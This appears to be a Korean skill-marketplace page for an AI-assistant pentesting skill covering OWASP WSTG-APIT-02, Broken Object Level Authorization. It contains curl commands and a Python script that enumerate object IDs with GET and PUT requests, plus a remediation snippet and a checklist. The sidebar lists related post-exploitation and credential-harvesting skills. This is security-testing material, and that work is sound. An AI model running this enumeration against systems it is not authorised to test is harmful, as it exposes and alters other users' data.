원클릭으로
wstg-apit-02
Testing for Broken Object Level Authorization (BOLA)
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
메뉴
Testing for Broken Object Level Authorization (BOLA)
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
eBPF-based post-exploitation for kernel-level credential harvesting, process hiding, and traffic interception on Linux
AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
Azure/Entra ID post-exploitation for tenant compromise, Key Vault extraction, managed identity abuse, and token manipulation
CI/CD pipeline attacks for secret extraction, pipeline injection, and supply chain compromise via GitHub/Jenkins/GitLab
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
| name | wstg-apit-02 |
| description | Testing for Broken Object Level Authorization (BOLA) |
| category | api-testing |
| owasp_id | WSTG-APIT-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["api","rest","graphql","soap","wstg","apit"] |
| tech_stack | [] |
| cwe_ids | ["CWE-200"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-APIT-02
Testing for Broken Object Level Authorization (BOLA/IDOR)
Broken Object Level Authorization (BOLA), also known as IDOR, occurs when an API fails to validate that the requesting user has permission to access the requested object. Attackers can manipulate object identifiers to access data belonging to other users.
# Find endpoints with IDs
# /api/users/{id}
# /api/orders/{id}
# /api/documents/{id}
# Test with different IDs
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.com/api/users/100" | jq '.'
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.com/api/users/101" | jq '.'
#!/usr/bin/env python3
import requests
class BOLATester:
def __init__(self, base_url, token, own_id):
self.base_url = base_url
self.own_id = own_id
self.session = requests.Session()
self.session.headers.update({"Authorization": f"Bearer {token}"})
self.findings = []
def test_endpoint(self, endpoint_template, target_ids):
"""Test BOLA on endpoint"""
print(f"\n[*] Testing BOLA on {endpoint_template}")
for target_id in target_ids:
if str(target_id) == str(self.own_id):
continue
endpoint = endpoint_template.replace("{id}", str(target_id))
url = f"{self.base_url}{endpoint}"
# Test GET
response = self.session.get(url)
if response.status_code == 200:
print(f"[VULN] BOLA: GET {endpoint}")
self.findings.append({
"method": "GET",
"endpoint": endpoint,
"severity": "High"
})
# Test PUT
response = self.session.put(url, json={"test": "data"})
if response.status_code in [200, 204]:
print(f"[VULN] BOLA: PUT {endpoint}")
self.findings.append({
"method": "PUT",
"endpoint": endpoint,
"severity": "Critical"
})
# Test DELETE (be careful!)
# response = self.session.delete(url)
def test_body_parameters(self, endpoint, param_name, target_ids):
"""Test BOLA via body parameters"""
print(f"\n[*] Testing body parameter BOLA: {param_name}")
for target_id in target_ids:
response = self.session.post(
f"{self.base_url}{endpoint}",
json={param_name: target_id}
)
if response.status_code == 200:
data = response.json()
# Check if we got other user's data
if str(target_id) in str(data):
print(f"[VULN] BOLA via body param: {param_name}={target_id}")
self.findings.append({
"endpoint": endpoint,
"parameter": param_name,
"severity": "High"
})
def generate_report(self):
print("\n" + "="*50)
print("BOLA TESTING REPORT")
print("="*50)
if not self.findings:
print("\nNo BOLA vulnerabilities found.")
return
print(f"\nVulnerabilities: {len(self.findings)}")
for f in self.findings:
print(f"\n [{f['severity']}] {f.get('method', 'POST')} {f['endpoint']}")
# Usage
tester = BOLATester(
"https://target.com/api",
"user_token",
own_id=100
)
tester.test_endpoint("/users/{id}", range(95, 110))
tester.test_endpoint("/users/{id}/orders", range(95, 110))
tester.test_endpoint("/documents/{id}", range(1, 20))
tester.test_body_parameters("/user/data", "user_id", [101, 102, 103])
tester.generate_report()
@app.route('/api/users/<int:user_id>')
@require_auth
def get_user(user_id):
# ALWAYS verify ownership
if user_id != current_user.id and not current_user.is_admin:
abort(403)
return User.query.get_or_404(user_id).to_dict()
| Finding | CVSS | Severity |
|---|---|---|
| Read other users' data | 7.5 | High |
| Modify other users' data | 8.1 | High |
| Delete other users' data | 8.1 | High |
| CWE ID | Title |
|---|---|
| CWE-639 | Authorization Bypass Through User-Controlled Key |
[ ] Object references identified
[ ] ID manipulation tested
[ ] All HTTP methods tested
[ ] Body parameters tested
[ ] UUID enumeration attempted
[ ] Findings documented